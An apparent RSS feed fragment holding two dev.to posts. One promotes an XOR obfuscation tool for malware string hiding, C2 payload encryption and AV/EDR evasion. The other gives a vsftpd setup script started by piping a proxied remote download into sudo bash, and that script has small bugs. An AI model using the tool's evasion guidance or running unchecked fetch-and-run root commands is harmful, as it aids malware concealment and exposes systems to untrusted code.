&lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;char&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;[]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mh"&gt;0x3f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x1a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x7c&lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Python Implementation
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;encrypted&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0x4a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x6f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x68&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x6e&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0x3f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x1a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x7c&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;decrypted&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="o"&gt;^&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="nf"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;enumerate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;encrypted&lt;/span&gt;&lt;span class="p"&gt;)])&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Legacy Dropper Format
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight c"&gt;&lt;code&gt;&lt;span class="p"&gt;{(&lt;/span&gt;&lt;span class="n"&gt;BYTE&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x4a\x6f\x68\x6e&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mh"&gt;0x3f&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x1a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x7c&lt;/span&gt;&lt;span class="p"&gt;}}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Use Cases
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;String obfuscation&lt;/strong&gt; in malware development&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Payload encryption&lt;/strong&gt; for C2 frameworks&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Evading signature-based detection&lt;/strong&gt; in AV/EDR&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Learning about encryption algorithms&lt;/strong&gt; for research&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Testing detection capabilities&lt;/strong&gt; of security solutions&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Pro Tips
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Always verify&lt;/strong&gt; - XORPHER auto-verifies, but test your decryption code&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Match key lengths&lt;/strong&gt; - Ensure your decryption code uses the same key length&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Start with low evasion&lt;/strong&gt; - Test with none/low first, then increase&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Save outputs&lt;/strong&gt; - All results are timestamped in &lt;code&gt;xorpher_output/&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Use clipboard&lt;/strong&gt; - Results are automatically copied (if pyperclip installed)&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  ⚠️ Disclaimer
&lt;/h2&gt;

&lt;p&gt;This tool is for &lt;strong&gt;educational purposes and authorized security testing only&lt;/strong&gt;. Only use on systems you own or have explicit permission to test.&lt;/p&gt;




&lt;h2&gt;
  
  
  📚 Quick Reference
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Algorithm&lt;/th&gt;
&lt;th&gt;Best For&lt;/th&gt;
&lt;th&gt;Key Length&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Simple&lt;/td&gt;
&lt;td&gt;Basic obfuscation&lt;/td&gt;
&lt;td&gt;1 byte&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Rotating&lt;/td&gt;
&lt;td&gt;General purpose&lt;/td&gt;
&lt;td&gt;3-8 bytes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Poly&lt;/td&gt;
&lt;td&gt;Maximum stealth&lt;/td&gt;
&lt;td&gt;16-32 bytes&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Custom&lt;/td&gt;
&lt;td&gt;Advanced users&lt;/td&gt;
&lt;td&gt;Configurable&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Legacy&lt;/td&gt;
&lt;td&gt;Old droppers&lt;/td&gt;
&lt;td&gt;3 bytes&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Evasion&lt;/th&gt;
&lt;th&gt;Garbage&lt;/th&gt;
&lt;th&gt;Use Case&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;none&lt;/td&gt;
&lt;td&gt;0%&lt;/td&gt;
&lt;td&gt;Testing&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;low&lt;/td&gt;
&lt;td&gt;20%&lt;/td&gt;
&lt;td&gt;Basic evasion&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;medium&lt;/td&gt;
&lt;td&gt;40%&lt;/td&gt;
&lt;td&gt;General purpose&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;high&lt;/td&gt;
&lt;td&gt;60%&lt;/td&gt;
&lt;td&gt;Aggressive&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;extreme&lt;/td&gt;
&lt;td&gt;80%&lt;/td&gt;
&lt;td&gt;Maximum stealth&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  🤝 Get Involved
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;GitHub&lt;/strong&gt;: &lt;a href="https://github.com/Excalibra/XORPHER" rel="noopener noreferrer"&gt;https://github.com/Excalibra/XORPHER&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git clone https://github.com/Excalibra/xorpher.git
&lt;span class="nb"&gt;cd &lt;/span&gt;xorpher
pip &lt;span class="nb"&gt;install&lt;/span&gt; &lt;span class="nt"&gt;-r&lt;/span&gt; requirements.txt
python xorpher.py
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;⭐ Star the repo if you find it useful!&lt;/p&gt;

</description>
      <category>xor</category>
      <category>encryption</category>
      <category>obfuscation</category>
      <category>evasion</category>
    </item>
    <item>
      <title>One-click Script to Set Up a Personal FTP on a Linux Cloud Server</title>
      <dc:creator>Excalibra</dc:creator>
      <pubDate>Sun, 09 Feb 2025 08:10:53 +0000</pubDate>
      <link>https://dev.to/excalibra/one-click-script-to-set-up-a-personal-ftp-on-a-linux-cloud-server-23fo</link>
      <guid>https://dev.to/excalibra/one-click-script-to-set-up-a-personal-ftp-on-a-linux-cloud-server-23fo</guid>
      <description>&lt;h1&gt;
  
  
  Linux FTP Setup Simplified
&lt;/h1&gt;

&lt;p&gt;After researching, it seems that most people find setting up Linux FTP quite straightforward. However, based on my personal experience, it wasn't that easy. To address this, I've created an open-source, well-documented one-click script with comprehensive comments to facilitate future learning and communication.&lt;/p&gt;

&lt;h2&gt;
  
  
  Security Measures
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;IP Restriction&lt;/strong&gt;: Although FTP brute-force attacks are less frequent than SSH login attempts, it's still prudent to restrict access to your public IP for added security.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Directory Limitation&lt;/strong&gt;: Restrict users to the shared directory to prevent them from accessing other directories, with read and write permissions.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Custom Username and Password&lt;/strong&gt;: Create a username and password following standard Linux user creation practices.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;IP Retrieval Optimization&lt;/strong&gt;: The client's IP is now retrieved from the local login information, eliminating the risk of IP confusion from SSH port monitoring.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  SCP Upload and Download
&lt;/h2&gt;

&lt;p&gt;While SCP is convenient for uploading and downloading, it's not ideal for comprehensive directory management. Moreover, beginners in Linux might not be familiar with control panels like aaPanel or Zfile. The purpose of this one-click script is to help newcomers avoid common pitfalls.&lt;/p&gt;

&lt;h2&gt;
  
  
  Getting Started
&lt;/h2&gt;

&lt;p&gt;No need to understand virtual user mapping, FTP authentication, or PAM module principles. Just run the following command to set up FTP:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;bash &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;curl &lt;span class="nt"&gt;-fL&lt;/span&gt; https://ghfast.top/https://raw.githubusercontent.com/Excalibra/scripts/refs/heads/main/d-shell/lite_vsftpd.sh&lt;span class="si"&gt;)&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Finally, ensure that port 21000 is open in your Alibaba Cloud server's security group or Tencent Cloud's firewall. Here's a visual guide:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cloud Security Firewall&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxl03e9dr1sgdzkbo2ptu.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxl03e9dr1sgdzkbo2ptu.png" alt=" " width="383" height="422"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Further Customization
&lt;/h2&gt;

&lt;p&gt;For those interested in deeper customization and research, here are some relevant files:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Shared Directory: &lt;code&gt;/var/ftp/share&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Access Configuration File: &lt;code&gt;/etc/security/access.conf&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;FTP Configuration File: &lt;code&gt;/etc/vsftpd/vsftpd.conf&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;FTP Module Support File: &lt;code&gt;/etc/pam.d/vsftpd&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Source Code
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="c"&gt;## For future use, consider this tool for configuring web-based cloud storage sharing: [Zfile on GitHub](https://github.com/zfile-dev/zfile)&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;#********* Cloud Documentation Reminder ***************************&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;#&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# FTP can connect and transfer data with client machines in both active and passive modes.&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# Due to firewall settings on most client machines and the inability to obtain real IPs, it is recommended to set up the FTP service in passive mode.&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# The following modifications are for setting up passive mode. If you prefer active mode, please refer to the guide for setting up FTP active mode.&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;#&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# In simple terms, the difference between active and passive modes is:&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# - **Active Mode**: The server connects to the client's port for data transfer (client opens the data port).&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# - **Passive Mode**: The client connects to the server's port for data transfer (server opens the data port).&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;#****************************************************&lt;/span&gt;&lt;span class="w"&gt;


&lt;/span&gt;&lt;span class="c"&gt;#----------- Download, Install, Create Dedicated User, and Restrict Directory ------------&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Add a user. Regular users do not have SSH login permissions by default, which is fine.&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# For completeness, use `usermod -s /sbin/nologin ftpuser`.&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="n"&gt;yum&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;install&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-y&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;vsftpd&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;yum&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;install&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;lsof&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-y&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;sudo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;systemctl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;enable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;vsftpd&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# Start the service successfully. Anonymous access is enabled by default but without permission to modify or upload.&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# Start it early to avoid errors during configuration.&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;sudo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;systemctl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;start&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;vsftpd&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="n"&gt;sudo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;groupadd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ftpusers&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# Accept user input and create a user in the ftpusers group&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-p&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Enter the username for FTP sharing: "&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;user_name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sudo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;useradd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-g&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ftpusers&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$user_name&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="n"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-e&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"User &lt;/span&gt;&lt;span class="nv"&gt;$user_name&lt;/span&gt;&lt;span class="s2"&gt; has been created. \n"&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="n"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"⚠️  Note: Linux initial password rules require passwords to include uppercase, lowercase, and special characters. ‼️"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-e&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"If you have configured password policies, you can ignore this message."&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-e&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"◉ Note: The password will be displayed in plain text for verification. \n"&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# -s: Hide input for sensitive information&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-p&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Enter the password: "&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;pass_word&lt;/span&gt;&lt;span class="w"&gt; 

&lt;/span&gt;&lt;span class="c"&gt;# Pass the password to `passwd` via stdin&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$pass_word&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;passwd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;--stdin&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$user_name&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Restrict login terminal&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;sudo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;usermod&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/sbin/nologin&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$user_name&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Create a specific directory for FTP sharing&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;sudo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;sudo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;mkdir&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/var/ftp/share&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"hello world "&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/var/ftp/share/test.txt&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# Grant permissions -R recursively; owner:group &lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;sudo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;chown&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-R&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;ftpuser:ftpusers&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/var/ftp/share&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;#---------- Backup vsftpd.conf File and Obtain Public IP -----------&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Configuration modifications are for passive mode.&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# Modify: Find and replace. Test with `sed` without parameters first, then add comments for clarity.&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# Backup the original vsftpd.conf file&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;cp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-rp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/etc/vsftpd/vsftpd.conf&lt;/span&gt;&lt;span class="p"&gt;{,&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;bak&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# Obtain the public IP of the Linux machine&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;linux_public_ip&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;curl&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;https://ipinfo.io/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="n"&gt;grep&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'class="fz24"'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;awk&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-F&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'&amp;gt;|&amp;lt;'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'{print$3}'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# This method of obtaining IP is risky due to potential SSH interference, so it's commented out&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# get_my_ip=$(netstat -n|grep -i :22|awk '{print $5}'|cut -d":" -f1|sed -n '1p')&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# New method to obtain the client IP (Windows or Mac)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;get_my_ip&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;who&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="n"&gt;awk&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'{print $5}'&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cut&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-d&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'('&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-f2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cut&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-d&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;')'&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-f1&lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="n"&gt;sed&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-n&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'1p'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;# cut&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# -d specifies a custom delimiter&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# -f2 selects the second part of the split output&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# -f1 selects the first part of the split output&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="c"&gt;#------------------------------------------------------&lt;/span&gt;&lt;span class="w"&gt;


&lt;/span&gt;&lt;span class="c"&gt;#************************ Explanatory Documentation ***************************************&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;#&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# local_enable=YES         # Allow local users to log in&lt;/span&gt;&lt;span class="w"&gt;
